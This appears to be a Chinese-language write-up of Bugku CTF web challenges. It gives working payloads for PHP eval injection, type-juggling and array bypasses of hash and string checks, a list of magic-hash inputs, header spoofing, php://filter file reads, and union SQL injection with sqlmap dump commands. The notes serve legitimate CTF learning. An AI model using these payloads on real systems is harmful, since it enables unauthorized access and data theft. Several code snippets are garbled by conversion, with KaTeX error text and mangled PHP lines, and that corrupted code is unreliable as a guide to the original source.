1.web2
據說聰明的人都能找到答案
http://123.206.87.240:8002/web2/
CTRL + u 查看源代碼
2.計算器
http://123.206.87.240:8002/yanzhengma/
改一下字符輸入長度的限制
3.web基礎$_GET
http://123.206.87.240:8002/get/
?var=val
4.web基礎$_POST
http://123.206.87.240:8002/get/index1.php
直接用BurpSuite改包,注意先改成POST request
5.矛盾
http://123.206.87.240:8002/get/index1.php
$num = GET[′num′];if(!isnumeric(
GET[′num′];if(!isnumeric(num)) {
echo num;if(
num;if(num == 1)
echo ‘flag{**********}’;
}
此處 == 爲弱類型判斷,num = 1e ,num == 1
6.web3
flag就在這裏快來找找吧
http://123.206.87.240:8002/web3/
直接查看源碼,得KEY{J2sa42a
hJK-HS11III}
扔到 Burp 解碼試試,解爲html得flag
7.域名解析
據說把 flag.bugku.com 解析到123.206.87.240 就能拿到flag
兩種辦法:1.直接改本機 host 文件
2.訪問時將請求頭中的 host 改成flag.bugku.com
然而我兩種辦法都失敗了,顯示域名沒備案,哈哈哈
8.你必須讓他停下
http://123.206.87.240:8002/web12/
頁面不斷的自動刷新,用Burp攔截,一張圖一張圖看,源代碼中蘊含了 flag
9.本地包含
<?php
include 「flag.php」;
a=@
a=@_REQUEST[‘hello’]; // @ 可屏蔽報錯信息的顯示
eval( 「var_dump($a);」); // eval() 漏洞
show_source(FILE);
?>
show_source() 對文件進行語法高亮
hello=1);show_source(‘flag.php’);var_dump(
最終解釋爲:
var_dump(1);show_source(‘flag.php’);var_dump(show_source(FILE);
10.變量1
flag In the variable !
<?php
error_reporting(0);
include 「flag1.php」;
highlight_file(file);
if(isset($_GET[‘args’])){
$args = KaTeX parse error: Expected group after '^' at position 35: …(!preg_match("/^̲\w+/",args))die("argserror!");eval("vardump(
args))die("argserror!");eval("vardump($args);");
}
?>
經過 include 或 require 語句,能夠將 PHP 文件的內容插入另外一個 PHP 文件
// preg_match() 正則表達式匹配函數
/^\w+$/
兩個//表示開始和結束
^表示開始字符串
$表示結束字符串
\w表示包含【a-z,A-Z, _ , 0-9】
+表示一個或者多個\w
var_dump()顯示一個或多個表達式的結構信息,包括表達式的類型與值。
數組將遞歸展開值,經過縮進顯示其結構
eval()存在命令執行漏洞,咱們是想查看flag1.php中的flag,
首先想到的是本地包含漏洞,查看源碼,或者上傳一句話木馬等思路
可是條件判斷加了正則表達式判斷,過濾了括號和引號等字符。
PHP 在 $GLOBALS[index] 數組中存儲了全部全局變量,數組的鍵值爲變量名
$$args = $($args)
$$ --> 可變變量,容許動態改變一個變量名稱
$name = "trans";
$trans = "You can see me";
echo $name.<br>;
echo $$name;
結果:
trans
You can see me
11.web5
JSPFUCK???答案格式CTF{**}
http://123.206.87.240:8002/web5/
查看源代碼可得:([][(![]+[])[+[]] 這種加密事後的 js 代碼,直接扔到 console 跑一下就出來
12.頭等艙
老辦法,先看源代碼,源代碼仍是啥也沒有,看看請求頭,找到了
13.網站被黑
http://123.206.87.240:8002/webshell/
這個題沒技術含量可是實戰中常常遇到
掃一下後臺,找到後門,Burp 爆破就看到了
14.管理員系統
特別突出的是 非本地IP訪問,直接改個 X-Forwarded-For:127.0.0.1,而後再爆破
X-Forwarded-For:簡稱XFF頭,它表明客戶端,也就是HTTP的請求端真實的IP,只有在經過了HTTP 代理或者負載均衡服務器時纔會添加該項。
它不是RFC中定義的標準請求頭信息,在squid緩存代理服務器開發文檔中能夠找到該項的詳細介紹。
標準格式以下:X-Forwarded-For: client1, proxy1, proxy2
HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,通常會帶上Referer,
告訴服務器我是從哪一個頁面連接過來的,服務器基此能夠得到一些信息用於處理
15.web4
var p1 = ----;
var p2 = ----;
eval(unescape(p1) + unescape(’%35%34%61%61%32’ + p2));
// 54aa2
function checkSubmit() {
var a = document.getElementById(「password」);
if(「undefined」!=typeof a) {
if(「67d709b2b54aa2aa648cf6e87a7114f1」==a.value)
return !0;
alert(「Error」);
a.focus();
return !1;
}
}
document.getElementById(「levelQuest」).οnsubmit=checkSubmit;
明顯發現有一段被 base64 加密過,解碼可得
16.輸入密碼查看flag
http://123.206.87.240:8002/baopo/
目錄提示使用爆破,5位數密碼???
純數字!!!
17.點擊一百萬次
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width(‘350px’).height(‘350px’);
})
.mouseup(function() {
$(this).width(‘375px’).height(‘375px’);
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $(’’ +
‘’ +
‘’);
$(‘body’).append(form);
form.submit();
}
});
});
觀察得,若clicks >= 1000000 則執行下面的提交表單,
索性直接 post 好了
18.過狗一句話
<?php
$poc = 「a#s#s#e#r#t」;
KaTeX parse error: Expected 'EOF', got '#' at position 18: …c_1 = explode("#̲",poc);
// explode(separator,string,limit) 函數把字符串打散爲數組
$poc_2 = poc1[0].
poc1[0].poc_1[1].poc1[2].poc1[2].poc_1[3].poc1[4].poc1[4].poc_1[5];
poc2(
poc2(_GET[‘s’])
?>
bool assert ( mixed $assertion [, Throwable $exception ] )
// 若assertion爲字符串,則assertion將會被當作php代碼執行,與eval()相似
http://120.24.86.145:8010/?s=print_r(scandir(’./’));
print_r() 函數用於打印變量,以更容易理解的形式展現
scandir(directory,sorting_order,context) 函數返回指定目錄中的文件和目錄的數組
print_r(scandir(’./’)) // 打印全部目錄
Welcome to bugku
<?php $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; // file_get_contents() 把整個文件讀入一個字符串中 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!
"; include($file); //hint.php }else{ echo "you are not admin ! "; } ?>
這個題遇到不少騷辦法,暫時還不會作
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
php 僞協議 php://filter php://input
// ROIS剛好也有這道題,暗示我多作題??
// 構造序列化,注意類名 Read
<?php
class Read{
public $file;
}
$a = new Read();
$a->file = "f1a9.php";
$a = serialize($a);
print_r($a);
?>
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
各類繞過
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']); // 將URL解碼
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
先將 id URL編碼 %6d%61%72%67%69%6e
再用數組繞過sha1()
linux
linux基礎問題
獲得一個壓縮包,win下打不開,扔到kali解壓後發現一個flag的文件,
改權限777,cat強行查看,發現flag,不過本意好像不是這樣
strings 命令(此命令至關牛逼,之後再仔細學)
linux2
同上。。
寬帶信息泄露
題目給的是 conf.bin 文件,.bin 至關於一個萬能後綴,沒法直接肯定
打開看一下是二進制文件,題目強調的是寬帶信息泄露,flag{寬帶用戶名}
網上提示了一個工具 Routerpassview
Javascript Tricks
var net = require('net');
flag='fake_flag';
var server = net.createServer(
function(socket) {
socket.on('data', (data) => {
//m = data.toString().replace(/[\n\r]*$/, '');
ok = true;
arr = data.toString().split(' ');
arr = arr.map(Number);
if (arr.length != 5) // arr長度爲5
ok = false;
arr1 = arr.slice(0); // 抽取從0開始的全部字符
arr1.sort();
for (var i=0; i<4; i++) // 沒有相同元素,正常ASCII碼
if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127)
ok = false;
arr2 = [];
for (var i=0; i<4; i++)
arr2.push(arr1[i] + arr1[i+1]);
val = 0;
for (var i=0; i<4; i++)
val = val * 0x100 + arr2[i]; // 0x100 = 256
if (val != 0x23332333)
ok = false;
if (ok)
socket.write(flag+'\n');
else
socket.write('nope\n');
});
//socket.write('Echo server\r\n');
//socket.pipe(socket);
}
);
HOST = '0.0.0.0'
PORT = 8082
server.listen(PORT, HOST);
這裏還要用到 netcat 簡稱 nc,又漲了波姿式
extract變量覆蓋
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan)){
$content=trim(file_get_contents($flag));
if($shiyan==$content){
echo'flag{xxx}';
}
else{
echo'Oh.no';
}
}
?>
extract(array[,extract_rules,prefix)]
// 數組鍵名做爲變量名,數組鍵值做爲變量值
// 後幾個參數是解決新建立的變量與原變量的衝突問題的
// 就這個題來講,以前就有一個flag的變量了,此時GET一個flag進去就會把原flag的值覆蓋掉
// 若是$flag這個文件不存在,file_get_contents($flag)將爲空
// 此時只需傳一個 shiyan&flag 就解決了
strcmp比較字符串
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0)
die('Flag: '.$flag);
else
print 'No';
}
?>
// 比較兩個字符串(區分大小寫)正常規則:
若是 str1 小於 str2 返回 < 0;若是大於返回 > 0;若是相等,返回 0。
// 若是傳入的值不是字符串類型就將出故障,並 return 0
// 好比 傳一個數組 a[] ? 這題就作完了
urldecode二次編碼繞過
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ") {
echo "Access granted!";
echo "flag";
}
?>
int ereg(string pattern, string string, array [regs]); 區分大小寫
int eregi(string $pattern, string $string [, array &$regs]) 不區分大小寫的正則表達式匹配
題面已經給了思路,將 hackerDJ 進行二次 url 編碼便可繞過
md5()函數
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
數組大法好,直接 username[]&password[]=1又輕鬆繞過 md5()
原理:md5() 不能處理數組,md5(數組) 會返回 null
數組返回NULL繞過
<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
數組又能直接繞過?? => password[]=1
原理:
ereg() 只能處理字符,傳數組將返回 null,
三個等號的時候不會進行類型轉換,因此 null!==false
strpos() 的參數一樣不能是數組,返回依舊是 null,同上
%00 截斷:ereg()能夠進行%00截斷,這樣就能繞開正則匹配 => password=1%00--
弱類型整數大小比較繞過
<?php
$temp = $_GET['password'];
is_numeric($temp) ? die("no numeric") : NULL;
if($temp>1336){
echo $flag;
?>
數組又能直接繞過??
is_numeric()判斷變量是否爲數字或數字字符串
password=1445%00 / password=1445%20
sha1()函數比較繞過
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo " ";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo 'Invalid password.';
}
else
echo 'Login first!';
?>
sha1() 計算字符串的散列值
數組又能直接繞過??
sha1() 函數沒法處理數組類型,將報錯並返回false,false === false條件成立
md5加密相等繞過
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}
}
else{
echo "please input a";
}
?>
PHP 在處理哈希字符串時,會利用 != / == 來對其進行比較,它把每一個以「0e」的哈希值都解釋爲0。
若是兩個不一樣的密碼通過哈希之後,哈希值都是以「0e"開頭的話,PHP將認爲這兩個哈希值相同。
常見的payload:
QNKCDZO
0e830400451993494058024219903391
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s532378020a
0e220463095855511507588041205815
十六進制與數字比較
<?php
error_reporting(0);
function noother_says_correct($temp) {
$flag = 'flag{test}';
$one = ord('1'); //ord() 返回字符的 ASCII 碼值
$nine = ord('9');
$number = '3735929054';
for ($i = 0; $i < strlen($number); $i++) {
$digit = ord($temp{$i});
if (($digit >= $one) && ($digit <= $nine))
return "flase";
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
轉十六進制 0xdeadc0de 繞過,別忘了加 0x
strpos數組繞過
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必須輸入數字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '騷年,繼續努力吧啊~';
}
?>
數組又能直接繞過?? ctf[]={#BIUBIUbiu}
ereg正則%00截斷
<?php
$flag = "xxx";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
echo 'You password must be alphanumeric';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) {
if (strpos ($_GET['password'], '*-*') !== FALSE)
die('Flag: ' . $flag);
else
echo('*-* have not been found');
}
else
echo 'Invalid password';
}
?>
1.數組繞過:password[]
2.%00截斷,再加上科學計數法 => password=1e9%00*-*
數字驗證正則繞過
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD']) {
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) {
echo 'flag';
exit;
}
while (TRUE) {
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何標點符號 [[:digit:]] 任何數字 [[:upper:]] 任何大寫字母 [[:lower:]] 任何小寫字母
foreach ($ps as $pt) {
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必須包含四種類型三種與三種以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
直接password=就出答案了???我???
字符?正則?
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
單純的考正則表達式,只要id成功匹配就會出flag,注意!!!最後一個是匹配任意標點符號!!!
定界符:/和/(除了\和字母數字,其它的只要是成對出現均可以看作定界符,好比##、!!之類的)
/i 表示忽略大小寫
id=key0key4434key:/a/aakeyb.
忘記了最後那個標點符號,差點懷疑人生
程序員本地網站
直接在請求頭裏添加 X-Forwarded-For:127.0.0.1
你從哪裏來
are you from google?
將 refer 頭修改成 https://www.google.com
www.google.com 都不行
http://www.google.com 都不行 :)
login1(SKCTF)
hint:SQL約束攻擊
先註冊 user:admin
passwd:Abc123
而後 用admin,Abc123也能登陸上了
[約束攻擊詳解](https://www.freebuf.com/articles/web/124537.html)
md5 collision(NUPT_CTF)
題目是MD5碰撞,直接傳一個MD5以0e開頭的過去
秋名山老司機
親請在2s內計算老司機的車速是多少
每次顯示一些隨機的大數相加減
我想到了py直接提交請求,然而本身獨立寫不出來
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)
必須利用會話對象 Session(),不然提交結果的時候,頁面又從新生成一個新的表達式
利用正則表達式截取響應內容中的算術表達式。首先引入 re 模塊,其次用 search() 匹配算術表達式,匹配成功後用 group() 返回算術表達式的字符串。
得到算術表達式的字符串後,直接利用 Python 的內建方法 eval() 來計算出結果,簡單、暴力、快捷。
web8
txt????
<?php
extract($_GET);
if (!empty($ac)) {
$f = trim(file_get_contents($fn));
if ($ac === $f)
echo "<p>This is flag:" ." $flag</p>";
else
echo "<p>sorry!</p>";
}
?>
empty() 如下狀況將返回TRUE
"" (空字符串)
0 (做爲整數的0)
0.0 (做爲浮點數的0)
"0" (做爲字符串的0)
NULL
FALSE
array() (一個空數組)
$var; (一個聲明瞭,可是沒有值的變量)
單個參數的extract()天然想到變量覆蓋,然而$ac又不能爲空
掃了後臺掃了個2.php,又提示txt,ac=txt& fn=2.php,結果沒卵用,哈哈
試了好幾回後選擇看writeup
1.ac=flags& fn=flag.txt,這個想法真是腦洞打開
2.利用僞協議讀取post,妙極了
ac=233 & fn=php://input
再post一個233,齊活兒
前女朋友(SKCTF)
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
md5碰撞,數組繞過strcmp(),作完了
速度要快
我感受你得快點!!!
查看源碼 => <!-- OK ,now you have to post the margin what you find -->
找啊找啊,響應頭裏面發現了一個 flag 鍵名
刷新一下還會變,flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTmpNek56RXo=
那就上py腳本搞吧,注意創建會話對象 session(),不然已提交,flag又變了
import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
req = requests.session()
flag = req.get(url).headers['flag']
flag = base64.b64decode(flag)
print(flag)
flag = flag.decode() # 防止split()報錯
flag = base64.b64decode(flag.split(':')[1]) # 解碼兩次才變成數值
print(flag)
data = {'margin':flag}
print(req.post(url,data).content) # 此處爲了看得方即可繼續解碼,不過不必
// 必定要養成手動保存的好習慣,東西丟了仍是很傷心的,又要重寫
cookies欺騙
獲得這麼一個字符串:
rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry
還有一個地址:index.php?line=& filename=a2V5cy50eHQ= (keys.txt)
直接查看keys.txt,發現仍是這麼一段亂七八糟的字符串
上面那個又向一個文件包含,filename傳入的仍是一個base64編碼,看看 aW5kZXgucGhw (index.php)
乍一看仍是什麼都沒有,調整一下line的參數,有點東西了,一點一點扒下來
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array('0' =>'keys.txt','1' =>'index.php',);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
此時改一下 cookies,margin=margin,遊戲結束
php://filter/read=convert.base64-encode/resource=/luodi/youzanyangnk/wangyi.php
flag在index裏
http://123.206.87.240:8005/post/index.php?file=show.php
既然說flag在index裏,看一下index源碼,?file=php://filter/read=convert.base64-encode/resource=index.php
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
解碼一下
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
成績單
發現一個用 post 傳 id 的輸入框,注入題
-1' union select 1,2,3,database()#
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467# // 這裏用16進制繞過一下
-1' union select 1,2,3,skctf_flag from fl4g#
sqlmap 也能跑出來,牛
sqlmap -u URL --data="id=1"
[11:01:58] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
發現後臺數據庫是 mysql
列舉全部數據庫
sqlmap -u URL --data="id=1" --dbs
available databases [2]:
[*] information_schema
[*] skctf_flag
爆出全部表
sqlmap -u URL --data="id=1" -D skctf_flag --tables
Database: skctf_flag
[2 tables]
+------+
| fl4g |
| sc |
+------+
列出內容
sqlmap -u http://123.206.87.240:8002/chengjidan/index.php --data="id=1" -T fl4g --dump
也能夠選擇全弄出來:sqlmap -u http://123.206.87.240:8002/chengjidan/index.php --data="id=1" -D skctf_flag --dump
Database: skctf_flag
Table: fl4g
[1 entry]
+---------------------------------+
| skctf_flag |
+---------------------------------+
| BUGKU{Sql_INJECT0N_4813drd8hz4} |
+---------------------------------+
備份是個好習慣
d41d8cd98f00b204e9800998ecf8427e
d41d8cd98f00b204e9800998ecf8427e
提示提到了備份,應該是備份文件源碼泄漏一類的,用腳本跑下後臺有沒有源碼
獲得 index.php.bak
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
有個替換性的過濾,用 kekeyy 就能繞過
分析源碼,有個 parse_str(),此函數與 extract() 差很少,將關聯數組中的元素與變量聯繫起來
那麼就能夠這樣傳值進去,kekeyy1 & kekeyy2[]
MD5函數沒法處理數組,因而能夠用 kekeyy1[]=33 & kekeyy2[]=44 進行繞過
或者直接 MD5碰撞
?>
never give up
查看源碼,發現一個小注釋:1p.html
一打開就跳轉到其餘頁面,拿burp抓一下,發現以下信息
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord() {
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
而後一路解碼,獲得代碼
<script>window.location.href='http://www.bugku.com';</script>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E
";if(!$_GET['id']) {
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) {
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
require("f4l2a3g.txt");
else
print "never never never give up !!!";
?>
既然是 require(f4l2a3g.txt) 直接看看這個文件?flag就直接能看到了
細心
出現一個假的404頁面,源代碼裏面也啥都沒有,嘗試掃掃後臺,發現 robots.txt
打開它,發現一個 resusl.php 文件,再進去看一下,提示 _GET['x'] == password
提交 x = admin ,結果然中了,若是還沒出來,只能想辦法爆破了
1
2
3
flag.php
有個登陸框,點 login 沒反應,題名叫 flag.php,確定有這個文件,進去看一下
啥都沒有。上面提交之因此沒反應,是由於 action=#,以前猜想直接給flag.php post
user & password 的值,仍是沒卵用,試試post hint?,仍是沒用,最終看別人的解釋是
在flagphp處get hint=1,直接出源碼了??仍是要多嘗試,反正就這麼多套路
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint']))
show_source(__FILE__);
elseif (unserialize($cookie) === "$KEY")
echo "$flag";
else {
?>
<html>
<head>
